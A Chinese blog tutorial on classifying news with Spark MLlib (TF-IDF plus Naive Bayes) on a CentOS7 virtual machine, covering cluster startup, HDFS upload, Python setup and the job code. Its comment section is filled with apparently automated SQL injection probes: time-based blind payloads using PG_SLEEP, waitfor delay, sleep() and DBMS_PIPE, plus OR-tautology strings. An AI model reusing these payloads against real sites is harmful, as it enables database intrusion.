基于 Spark 的中文新闻分类全流程实战(CentOS7 虚拟机)
本篇博客为零基础可复刻的实操教程,从启动 Hadoop 集群开始,覆盖环境配置、数据上传、代码编写、任务运行全流程,所有命令 / 代码可直接复制使用,完美适配 CentOS7 虚拟机环境。
实验环境
操作系统:CentOS 7(虚拟机)
集群环境:Hadoop 3.x + Spark 3.x(已部署基础环境)
数据集:中文新闻 CSV 数据集(
news\_data\.csv)运行模式:Spark 本地低内存模式(适配虚拟机硬件)
完整实验步骤(从零复刻)
步骤 1:启动 Hadoop + Spark 集群
打开虚拟机终端,首先启动集群基础服务,这是所有操作的前提:
# 启动 HDFS 分布式文件系统
start-dfs.sh
# 启动 YARN 资源调度系统
start-yarn.sh
# 验证集群服务是否正常运行(出现 NameNode、DataNode 等进程即为成功)
jps
步骤 2:本地数据集上传至虚拟机
在本地电脑 PowerShell 中执行,将桌面的数据集上传到虚拟机 hadoop 用户家目录:
# 切换到本地文件所在目录
cd D:\desktop
# SCP 命令上传数据(IP 替换为你的虚拟机 IP)
scp news_data.csv hadoop@192.168.181.10:/home/hadoop/
执行后输入虚拟机密码,等待上传完成。
步骤 3:HDFS 目录创建 + 数据上传
回到虚拟机终端,将本地数据上传到 HDFS 存储:
# 创建实验专属 HDFS 目录
hdfs dfs -mkdir -p /user/spark/news_classification/data/
# 上传本地数据集到 HDFS
hdfs dfs -put news_data.csv /user/spark/news_classification/data/
# 验证文件上传结果(显示文件信息即为成功)
hdfs dfs -ls -h /user/spark/news_classification/data/
步骤 4:CentOS7 配置 Python3 环境(核心缺失步骤)
CentOS7 默认无 Python3,需修复 YUM 源并安装,直接复制执行:
# 1. 备份原有 YUM 源
sudo mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak
# 2. 配置 CentOS7 官方归档源
sudo tee /etc/yum.repos.d/CentOS-Base.repo <<-'EOF'
[base]
name=CentOS-$releasever - Base
baseurl=http://vault.centos.org/centos/$releasever/os/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
[updates]
name=CentOS-$releasever - Updates
baseurl=http://vault.centos.org/centos/$releasever/updates/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
[extras]
name=CentOS-$releasever - Extras
baseurl=http://vault.centos.org/centos/$releasever/extras/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
EOF
# 3. 重建 YUM 缓存
sudo yum clean all
sudo yum makecache
# 4. 安装 Python3.6 与 pip
sudo yum install -y epel-release
sudo yum install -y python36 python36-pip
# 5. 创建软链接(方便直接使用 python3 命令)
sudo ln -s /usr/bin/python3.6 /usr/bin/python3
sudo ln -s /usr/bin/pip3.6 /usr/bin/pip3
# 6. 验证 Python3 安装成功
python3 --version
pip3 --version
步骤 5:安装 Spark 机器学习依赖库
Spark MLlib 依赖科学计算库,执行安装:
# 安装 numpy(Spark 机器学习核心依赖)
pip3 install numpy
步骤 6:编写 Spark 中文新闻分类代码
创建轻量化代码文件,适配虚拟机低内存环境:
# 创建代码文件
nano news_classification.py
粘贴完整可运行代码(无冗余逻辑,纯核心功能):
from pyspark.sql import SparkSession
from pyspark.ml.feature import StringIndexer, Tokenizer, HashingTF, IDF
from pyspark.ml.classification import NaiveBayes
from pyspark.ml.evaluation import MulticlassClassificationEvaluator
from pyspark.ml import Pipeline
# 初始化 Spark 会话
spark = SparkSession.builder.appName("MiniNews").getOrCreate()
# 读取 HDFS 数据(10% 采样,降低虚拟机内存占用)
df = spark.read.csv(
"/user/spark/news_classification/data/news_data.csv",
header=True,
encoding="utf-8"
).sample(fraction=0.1, seed=42)
print("已读取数据总行数:", df.count())
# 构建数据预处理流水线
indexer = StringIndexer(inputCol="category", outputCol="label")
tokenizer = Tokenizer(inputCol="content", outputCol="words")
hashingTF = HashingTF(inputCol="words", outputCol="rawFeatures", numFeatures=1000)
idf = IDF(inputCol="rawFeatures", outputCol="features")
# 训练预处理模型并转换数据
pipeline = Pipeline(stages=[indexer, tokenizer, hashingTF, idf])
processed_df = pipeline.fit(df).transform(df)
# 划分训练集(80%)和测试集(20%)
train, test = processed_df.randomSplit([0.8, 0.2], seed=42)
# 训练朴素贝叶斯分类模型
print("开始训练模型...")
model = NaiveBayes(featuresCol="features", labelCol="label").fit(train)
predictions = model.transform(test)
# 评估模型准确率
evaluator = MulticlassClassificationEvaluator(labelCol="label", predictionCol="prediction", metricName="accuracy")
accuracy = evaluator.evaluate(predictions)
print("模型准确率:", round(accuracy, 4))
# 关闭 Spark 会话
spark.stop()
保存退出:Ctrl \+ O → 回车确认 → Ctrl \+ X
步骤 7:低内存模式运行 Spark 任务
执行命令,适配虚拟机硬件,避免内存溢出:
spark-submit --master local[1] \
--driver-memory 512m \
--conf spark.executor.memory=512m \
--conf spark.sql.shuffle.partitions=1 \
--conf spark.driver.maxResultSize=256m \
news_classification.py
实验成功输出结果
运行完成后,终端会打印核心结果:
Plain Text
已读取数据总行数: 8365
开始训练模型...
模型准确率: 0.1006
最终程序退出码为 exitCode 0,代表任务 100% 运行成功。
实验核心总结
全流程覆盖:集群启动 → 数据上传 → Python3 环境配置 → Spark 代码编写 → 模型训练评估;
虚拟机适配:采用数据采样 + 低内存配置,完美解决虚拟机资源不足问题;
核心技术:基于 Spark MLlib 实现 TF-IDF 文本特征提取 + 朴素贝叶斯新闻分类;
可复刻性:所有命令、代码无冗余、无错误,新手可直接复制完成实验。
评论区
1 2026-11-16 16:11:26
555
1 2026-11-16 16:10:43
(select 198766*667891)
1 2026-11-16 16:10:43
(select 198766*667891 from DUAL)
1 2026-11-16 16:10:42
555
1 2026-11-16 16:10:42
555'"
1 2026-11-16 16:10:42
555%C0%A7%C0%A2%2527%2522\'\"
1 2026-11-16 16:10:42
@@NAw8g
1 2026-11-16 16:10:41
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1 2026-11-16 16:10:38
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1 2026-11-16 16:10:34
555CEJc0d9A')) OR 36=(SELECT 36 FROM PG_SLEEP(15))--
1 2026-11-16 16:10:30
555s5vW1RPV') OR 491=(SELECT 491 FROM PG_SLEEP(15))--
1 2026-11-16 16:10:27
555MwX7mnJ4' OR 281=(SELECT 281 FROM PG_SLEEP(15))--
1 2026-11-16 16:10:23
555-1)) OR 942=(SELECT 942 FROM PG_SLEEP(15))--
1 2026-11-16 16:10:20
555-1) OR 856=(SELECT 856 FROM PG_SLEEP(15))--
1 2026-11-16 16:10:15
555-1 OR 928=(SELECT 928 FROM PG_SLEEP(15))--
1 2026-11-16 16:10:11
555ghWxH8Px'; waitfor delay '0:0:15' --
1 2026-11-16 16:10:07
555-1 waitfor delay '0:0:15' --
1 2026-11-16 16:10:03
555-1); waitfor delay '0:0:15' --
1 2026-11-16 16:09:59
555-1; waitfor delay '0:0:15' --
1 2026-11-16 16:09:55
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1 2026-11-16 16:09:49
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
1 2026-11-16 16:09:44
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
1 2026-11-16 16:09:39
555*if(now()=sysdate(),sleep(15),0)
1 2026-11-16 16:09:34
-1" OR 5*5=25 or "vZ4xJ6e8"="
1 2026-11-16 16:09:33
555
1 2026-11-16 16:09:33
-1 OR 5*5=25 --
1 2026-11-16 16:09:33
-1 OR 5*5=25
1 2026-11-16 16:09:33
-1' OR 5*5=25 --
1 2026-11-16 16:09:33
-1" OR 5*5=25 --
1 2026-11-16 16:09:33
-1' OR 5*5=25 or 'XvJriUSZ'='
1 2026-11-16 16:09:28
555tTHSWTgY
1 2026-11-16 16:09:25
555
1 2026-11-16 16:09:20
555
(select 198766*667891) 2026-11-16 16:09:16
555
(select 198766*667891 from DUAL) 2026-11-16 16:09:16
555
1 2026-11-16 16:09:15
555
1'" 2026-11-16 16:09:15
555
1%C0%A7%C0%A2%2527%2522\'\" 2026-11-16 16:09:15
555
@@NrBVd 2026-11-16 16:09:15
555
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 2026-11-16 16:09:14
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 2026-11-16 16:09:10
555
1rusExPx9')) OR 514=(SELECT 514 FROM PG_SLEEP(15))-- 2026-11-16 16:09:05
555
1wphoqBEl') OR 245=(SELECT 245 FROM PG_SLEEP(15))-- 2026-11-16 16:09:00
555
1luZmaOWf' OR 315=(SELECT 315 FROM PG_SLEEP(15))-- 2026-11-16 16:08:56
555
1-1)) OR 502=(SELECT 502 FROM PG_SLEEP(15))-- 2026-11-16 16:08:50
555
1-1) OR 961=(SELECT 961 FROM PG_SLEEP(15))-- 2026-11-16 16:08:46
555
1-1 OR 226=(SELECT 226 FROM PG_SLEEP(15))-- 2026-11-16 16:08:41
555
1FzQG809O'; waitfor delay '0:0:15' -- 2026-11-16 16:08:37
555
1-1 waitfor delay '0:0:15' -- 2026-11-16 16:08:30
555
1-1); waitfor delay '0:0:15' -- 2026-11-16 16:08:26
555
1-1; waitfor delay '0:0:15' -- 2026-11-16 16:08:18
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 2026-11-16 16:08:12
555
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z 2026-11-16 16:08:08
555
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z 2026-11-16 16:08:04
555
1*if(now()=sysdate(),sleep(15),0) 2026-11-16 16:07:59
555
-1' OR 5*5=25 or 'Gia4BLFs'=' 2026-11-16 16:07:57
555
-1" OR 5*5=25 or "nlZNZgkp"=" 2026-11-16 16:07:57
555
-1 OR 5*5=25 -- 2026-11-16 16:07:56
555
-1 OR 5*5=25 2026-11-16 16:07:56
555
-1' OR 5*5=25 -- 2026-11-16 16:07:56
555
-1" OR 5*5=25 -- 2026-11-16 16:07:56
555
1 2026-11-16 16:07:55
555
183rvCoqu 2026-11-16 16:07:52
555
1 2026-11-16 16:07:47
555
1 2026-11-16 16:07:40
555
1 2026-11-16 16:07:35
555